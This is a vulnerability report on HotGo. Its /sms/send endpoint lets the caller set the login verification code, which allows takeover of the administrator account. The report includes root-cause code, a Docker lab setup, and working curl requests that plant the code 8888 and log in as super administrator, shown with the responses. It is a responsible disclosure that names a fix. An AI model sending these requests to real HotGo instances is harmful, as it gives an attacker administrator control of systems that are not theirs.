HotGo Vulnerability Report
Software: HotGo
Developer or vendor: bufanyun
Code repository: https://github.com/bufanyun/hotgo
1. Login SMS Verification Code Content Can Be Specified by an Attacker
| Brief description: | The content of the login SMS verification code can be specified by an attacker, which leads to account takeover. |
|---|---|
| Affected versions: | v2.8.4 to v2.15.1 |
| Preconditions: | The target instance has an SMS provider configured, and the attacker knows the mobile number of the target administrator. |
| Fix: | hotgo commit cb57056c |
Root Cause
Since v2.8.4, the request body of the /sms/send endpoint contains SendCodeInp, which lets the caller specify the verification code:
# server/internal/model/input/sysin/sms_log.go:72-77 commit 373d962d0b
type SendCodeInp struct {
Event string `json:"event" description:"事件"`
Mobile string `json:"mobile" description:"手机号"`
Code string `json:"code" description:"验证码或短信内容"`
Template string `json:"-" description:"发信模板 "`
}
SendCode generates a random code only when the caller does not pass Code, and a supplied value is written to hg_sys_sms_log as is:
# server/internal/logic/sys/sms_log.go:165-182 commit 373d962d0b
if in.Code == "" {
in.Code = grand.Digits(4)
}
if err = sms.New(config.SmsDrive).SendCode(ctx, in); err != nil {
return
}
var data = new(entity.SysSmsLog)
data.Event = in.Event
data.Mobile = in.Mobile
data.Code = in.Code
data.Ip = location.GetClientIp(ghttp.RequestFromCtx(ctx))
data.Status = consts.SmsStatusNotUsed
data.CreatedAt = gtime.Now()
data.UpdatedAt = gtime.Now()
_, err = dao.SysSmsLog.Ctx(ctx).Data(data).Insert()
return
The attacker can therefore log in with a verification code of their own choosing.
The code defect has existed since v2.8.4, but commit dc20a86 introduced a bug that breaks the SMS verification code flow. This vulnerability therefore no longer applies from that commit onward.
Reproduction Environment
The affected range is v2.8.4 to v2.15.1. Check out 373d962 (v2.8.4), the lower bound of that range:
git clone https://github.com/bufanyun/hotgo.git
cd hotgo
git checkout 373d962
docker-compose.yaml is:
name: hotgo-284
services:
mysql:
image: mysql:8.0
command: --default-authentication-plugin=mysql_native_password --character-set-server=utf8mb4 --collation-server=utf8mb4_general_ci
environment:
MYSQL_ROOT_PASSWORD: root123
MYSQL_DATABASE: hotgo
MYSQL_USER: hotgo
MYSQL_PASSWORD: hg123456
ports:
- "13307:3306"
volumes:
- ./init.sql:/docker-entrypoint-initdb.d/init.sql:ro
- mysql_data:/var/lib/mysql
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot123"]
interval: 5s
timeout: 5s
retries: 30
volumes:
mysql_data:
init.sql is taken from server/storage/data/hotgo.sql. Start the database and build the server:
cp server/storage/data/hotgo.sql init.sql
docker compose up -d
cd server && go build -o hotgo .
server/manifest/config/config.yaml is copied from config.example.yaml, with the database address pointing at 127.0.0.1:13307:
database:
default:
link: "mysql:hotgo:hg123456.@tcp(127.0.0.1:13307)/hotgo?loc=Local&parseTime=true&charset=utf8mb4"
Prefix: "hg_"
After the server starts, set the provider to Tencent Cloud in the SMS settings of the admin panel and fill in any non-empty APPID and keys so that SendCode completes the send. The lab uses a local HTTPS service to emulate the Tencent Cloud SMS API. Point sms.tencentcloudapi.com at that host and keep smsTencentEndpoint at its default value. The service only needs to return the following for any POST request:
{"Response":{"SendStatusSet":[{"Code":"Ok","Message":"send success","SerialNo":"s1","Fee":1,"SessionContext":"","Mobile":"+86","NationCode":"86"}],"RequestId":"stub-req"}}
Go verifies the server certificate, so start the server with SSL_CERT_FILE pointing at the root certificate that signed the service certificate.
Reproduction
Call the SMS send endpoint with the code set to 8888, addressed to the administrator 15300000000:
curl -s -X POST http://127.0.0.1:8300/admin/sms/send \
-H 'Content-Type: application/json' \
-d '{"event":"login","mobile":"15300000000","code":"8888"}'
{"code":0,"message":"操作成功","data":null,"timestamp":1793589877,"traceID":"a139e5947d1ce418c5dbfc342b432d72"}
Log in with 8888 as the verification code:
curl -s -X POST http://127.0.0.1:8300/admin/site/mobileLogin \
-H 'Content-Type: application/json' \
-d '{"mobile":"15300000000","code":"8888"}'
The response returns the login credential of admin:
{"code":0,"message":"操作成功","data":{"id":1,"username":"admin","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicGlkIjowLCJkZXB0SWQiOjEwMCwicm9sZUlkIjoxLCJyb2xlS2V5Ijoic3VwZXIiLCJ1c2VybmFtZSI6ImFkbWluIi...}}
Use that token to read the administrator profile and confirm the identity is the super administrator:
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:8300/admin/member/info
{"code":0,"message":"操作成功","data":{"id":1,"deptName":"hotgo","roleName":"超级管理员","permissions":["dashboard","/console/stat","dashboard_workplace","/dept/list","/post/list","/role/list","/member/list",...]}}